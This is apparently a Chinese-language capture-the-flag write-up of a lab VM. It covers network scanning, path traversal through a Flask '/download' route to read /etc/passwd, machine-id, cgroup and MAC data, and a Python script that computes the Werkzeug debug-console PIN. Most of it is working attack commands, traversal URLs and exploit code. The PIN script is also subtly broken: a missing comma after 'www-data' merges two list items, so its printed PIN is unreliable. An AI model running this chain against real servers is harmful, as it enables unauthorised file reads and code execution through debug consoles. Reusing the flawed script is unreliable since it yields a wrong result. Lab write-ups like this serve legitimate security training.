难度:hard
kali:192.168.56.104
靶机:192.168.56.193
> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:05 (Unknown: locally administered)
192.168.56.100 08:00:27:3d:d3:11 PCS Systemtechnik GmbH
192.168.56.193 08:00:27:b3:a1:d9 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded
端口扫描
> nmap 192.168.56.193
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:02 CST
Nmap scan report for 192.168.56.193
Host is up (0.00014s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
7777/tcp open cbt
MAC Address: 08:00:27:B3:A1:D9 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
开放了两个端口 22 7777,仔细扫一下
> nmap 192.168.56.193 -sV -A -p22,7777
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:02 CST
Nmap scan report for 192.168.56.193
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
|_ 256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
7777/tcp open http Werkzeug httpd 3.0.1 (Python 3.11.2)
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:B3:A1:D9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms 192.168.56.193
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.03 seconds
可以看到 7777端口是一个werkzeug服务
web信息搜集
是一个将字符串转正leet(黑客俚语)的转化器
扫一下目录
> gobuster dir -u http://192.168.56.193:7777/ -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.193:7777/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,php,bak,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 500) [Size: 14478]
/console (Status: 200) [Size: 1563]
Progress: 204231 / 1323366 (15.43%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 204353 / 1323366 (15.44%)
===============================================================
Finished
===============================================================
取download路由看一下
注意到可以下载文件但是不能以/
开头,尝试路径穿越
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
riva:x:1000:1000:,,,:/home/riva:/bin/bash
确实包含了,看看能不能读取一下riva的私钥
权限不够,用户应该是www-data,那就尝试计算pin码
pin码计算
username:上面推测了 应该是www-data
modname:flask.app
getattr:一般是Flask
app.py绝对路径:报错信息可以看到是/opt/project/venv/lib/python3.11/site-packages/flask/app.py
mac地址:尝试读取/sys/class/net/eth0/address
发现文件不存在
猜测用不不是eth0网卡,于是我又尝试读取/sys/class/net/enp0s3/address
读到mac地址08:00:27:b3:a1:d9
转10进制->8796759106009
machine-id:
读取一下init文件,看一下machine-id如何构成
http://192.168.56.193:7777/download?filename=../../../../../../../../../../../opt/project/venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py
def get_machine_id() -> str | bytes | None:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> str | bytes | None:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
可以看到显示读取/etc/machine-id和/proc/sys/kernel/random/boot_id其中的一个文件,如果/etc/machine-id有东西就会break,然后再拼接/proc/self/cgroup里面的东西
先读取一下machine-id
http://192.168.56.193:7777/download?filename=../../../../../../../../../../../etc/machine-id
#f6791f240ce6407ea271e86b78ac3bdb
这下不需要看/proc/sys/kernel/random/boot_id了
然后读/proc/self/cgroup
http://192.168.56.193:7777/download?filename=../../../../../../../../../../../proc/self/cgroup
#0::/system.slice/flaskapp.service
这里容易显示下载文件为空,需要多尝试,然后拼接一下
# 模拟文件内容
file_contents = {
"machine-id": b"f6791f240ce6407ea271e86b78ac3bdb\n",
"boot_id": b"",
"cgroup": b"0::/system.slice/flaskapp.service\n"
}
machine_id = b""
for filename in ["machine-id", "boot_id"]:
try:
value = file_contents[filename].strip()
except KeyError:
continue
if value:
machine_id += value
break
try:
machine_id += file_contents["cgroup"].strip().rpartition(b"/")[2]
except KeyError:
pass
print(machine_id)
#f6791f240ce6407ea271e86b78ac3bdbflaskapp.service
这下ok了,计算pin码,根据__init__.py文件可以看到是sha1哈希,所以sha1的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'www-data'
'flask.app',
'Flask',
'/opt/project/venv/lib/python3.11/site-packages/flask/app.py'
]
private_bits = [
'8796759106009',
'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#124-291-339
拿到pin码